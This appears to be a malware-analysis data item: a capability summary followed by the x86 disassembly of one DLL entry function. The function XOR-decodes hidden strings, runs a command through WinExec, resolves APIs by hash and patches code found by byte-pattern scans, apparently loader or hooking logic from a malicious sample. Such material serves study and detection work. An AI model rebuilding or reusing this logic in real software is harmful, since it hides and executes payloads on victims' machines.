Function at 0x10006060
Capabilities:
Check os version
Create process on windows
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x100140e6
mov eax, dword fs:[0]
push eax
sub esp, 0x358
mov eax, dword [0x1001e018]
xor eax, esp
mov dword [esp + 0x350], eax
push ebx
push esi
push edi
mov eax, dword [0x1001e018]
xor eax, esp
push eax
lea eax, [esp + 0x368]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
push edi
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10006519
call fcn.100044f0
lea eax, [esp + 0x14c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, 0xdf
xor esi, esi
lea ebx, [eax + 0x20]
lea ebx, [ebx]
mov cl, byte [esi + 0x10019a44]
xor cl, al
inc eax
mov byte [esp + esi + 0x54], cl
inc esi
and eax, ebx
cmp esi, 0x36
jb 0x100060e0
lea edx, [esp + 0x14c]
push edx
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x25c]
push ecx
mov byte [esp + 0x96], 0
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x37
lea edx, [esp + 0x58]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
lea eax, [esp + 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea ecx, [esp + 0x150]
push 0
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea edx, [esp + 0x258]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x94
lea eax, [esp + 0x90]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
lea ecx, [esp + 0x8c]
push ecx
mov dword [esp + 0x90], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x90], 6
ja 0x100061b7
cmp dword [esp + 0x94], 1
ja 0x100061b7
mov byte [0x10d763c1], 1
jmp 0x100061c0
push edi
call fcn.100100a0
add esp, 4
mov ecx, 0x1f241cd3
lea eax, [esp + 0x1c]
call fcn.10006780
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov word [esp + 0x24], ax
mov byte [esp + 0x26], al
mov ecx, 0x5cc71f4b
lea eax, [esp + 0x48]
call fcn.100068f0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x48], ecx
mov dword [esp + 0x4c], ecx
mov word [esp + 0x50], cx
call eax
mov esi, 0x1b
lea edi, [esp + 0x128]
mov dword [esp + 0x128], 0xffffffa1
mov dword [esp + 0x12c], 0xffffffff
mov dword [esp + 0x130], 0xffff8b32
mov dword [esp + 0x134], 0xffffffff
mov dword [esp + 0x138], 0x78ffffff
mov dword [esp + 0x13c], 0x8bffff89
mov word [esp + 0x140], 0x8ff
mov byte [esp + 0x142], 0x51
call fcn.1000fee0
test eax, eax
je 0x10006605
mov edx, dword [eax + 1]
mov esi, 0x21
lea edi, [esp + 0x128]
mov dword [0x10d76434], edx
mov dword [esp + 0x128], 0xffffffa1
mov dword [esp + 0x12c], 0xffff89ff
mov dword [esp + 0x130], 0x83ffffff
mov dword [esp + 0x134], 0xffffffff
mov dword [esp + 0x138], 0xffff02ff
mov dword [esp + 0x13c], 0xffffff83
mov dword [esp + 0x140], 0x7404ffff
mov dword [esp + 0x144], 0x6affebff
mov byte [esp + 0x148], 0
call fcn.1000fee0
mov dword [0x10d76438], eax
test eax, eax
je 0x100065b7
mov eax, dword [eax + 1]
mov esi, 0x17
lea edi, [esp + 0x128]
mov dword [0x10d76438], eax
mov dword [esp + 0x128], 0x8e68
mov dword [esp + 0x12c], 0xc16800
mov dword [esp + 0x130], 0xff8d0000
mov dword [esp + 0x134], 0xffffffff
mov dword [esp + 0x138], 0xffffffe8
mov word [esp + 0x13c], 0x6aff
mov byte [esp + 0x13e], 2
call fcn.1000fee0
mov dword [esp + 0x18], eax
test eax, eax
je 0x10006580
mov esi, 0x1b
lea edi, [esp + 0x128]
mov dword [esp + 0x128], 0xffffffa1
mov dword [esp + 0x12c], 0xffffffff
mov dword [esp + 0x130], 0xffff8b32
mov dword [esp + 0x134], 0xffffffff
mov dword [esp + 0x138], 0x78ffffff
mov dword [esp + 0x13c], 0x8bffff89
mov word [esp + 0x140], 0x8ff
mov byte [esp + 0x142], 0x51
call fcn.1000fee0
mov dword [0x10123ef0], eax
test eax, eax
je 0x10006544
mov ecx, dword [eax + 0xb]
mov eax, dword [esp + 0x18]
mov edx, dword [eax + 0x48]
lea eax, [eax + edx + 0x4c]
mov dword [0x10123ef0], ecx
mov ecx, dword [eax + 0xb]
lea edi, [eax + ecx + 0xf]
lea ecx, [edi + 0x2d]
mov dword [0x10123ee4], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10123ee4], ecx
mov edx, dword [eax + 0x26]
mov dword [0x10123eec], eax
lea eax, [eax + edx + 0x2a]
lea ecx, [eax + 8]
mov dword [0x1001e158], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1001e158], ecx
lea ecx, [eax + 0x21]
mov dword [0x1001e14c], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1001e14c], ecx
lea ecx, [eax + 0x3a]
mov dword [0x1001e150], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1001e150], ecx
lea ecx, [eax + 0x42]
mov dword [0x1001e154], ecx
mov edx, dword [ecx + 1]
mov dword [0x10123ee0], eax
add eax, 0xc8
lea ecx, [ecx + edx + 5]
mov dword [0x1001e15c], eax
mov dword [0x1001e154], ecx
mov edx, dword [eax + 1]
lea eax, [eax + edx + 5]
push 0xc3
mov esi, 0x76
mov dword [0x10123ee8], edi
mov dword [0x1001e15c], eax
mov dword [0x10d7643c], 0x10006010
call fcn.1000f670
mov edi, dword [0x10123ee0]
add esp, 4
push 0xc3
mov esi, 0x1e0
call fcn.1000f670
mov edi, dword [0x10123eec]
add esp, 4
push 0xc3
mov esi, 0x33
call fcn.1000f670
mov esi, dword [0x10123eec]
add esp, 4
mov eax, 0x10005f10
call fcn.1000f630
mov ecx, dword [esp + 0x14]
mov dword [0x10d763b8], ecx
call fcn.1000d6a0
call fcn.1000d710
push 0
xor ecx, ecx
mov edi, 0x10005320
call fcn.1000ff90
mov eax, 1
mov ecx, dword [esp + 0x368]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x350]
xor ecx, esp
call fcn.10012ee4
mov esp, ebp
pop ebp
ret 0xc
mov eax, 0x67
xor esi, esi
jmp 0x10006550
mov dl, byte [esi + str.4__58]
xor dl, al
inc eax
mov byte [esp + esi + 0x128], dl
inc esi
and eax, ebx
cmp esi, 0x12
jb 0x10006550
mov byte [esp + 0x13a], 0
mov dword [esp + 0x370], 0
call fcn.1000f5d0
mov eax, 0x72
xor esi, esi
mov cl, byte [esi + 0x10019aac]
xor cl, al
inc eax
mov byte [esp + esi + 0x128], cl
inc esi
and eax, ebx
cmp esi, 0x1b
jb 0x10006587
mov byte [esp + 0x143], 0
mov dword [esp + 0x370], 1
call fcn.1000f5d0
mov eax, 0xba
xor esi, esi
mov edi, edi
mov dl, byte [esi + 0x10019a88]
xor dl, al
inc eax
mov byte [esp + esi + 0x38], dl
inc esi
and eax, ebx
cmp esi, 0xf
jb 0x100065c0
lea eax, [esp + 0x38]
push eax
push 0
mov ecx, 0x1011e310
mov byte [esp + 0x4f], 0
call fcn.10007010
xor eax, eax
add esp, 8
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
call fcn.1000f5d0
mov eax, 0x82
xor esi, esi
lea esp, [esp]
mov cl, byte [esi + 0x10019ac8]
xor cl, al
inc eax
mov byte [esp + esi + 0x28], cl
inc esi
and eax, ebx
cmp esi, 0xf
jb 0x10006610
lea edx, [esp + 0x28]
push edx
push 0
mov ecx, 0x1011e310
mov byte [esp + 0x3f], 0
call fcn.10007010
xor eax, eax
add esp, 8
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
call fcn.1000f5d0
int3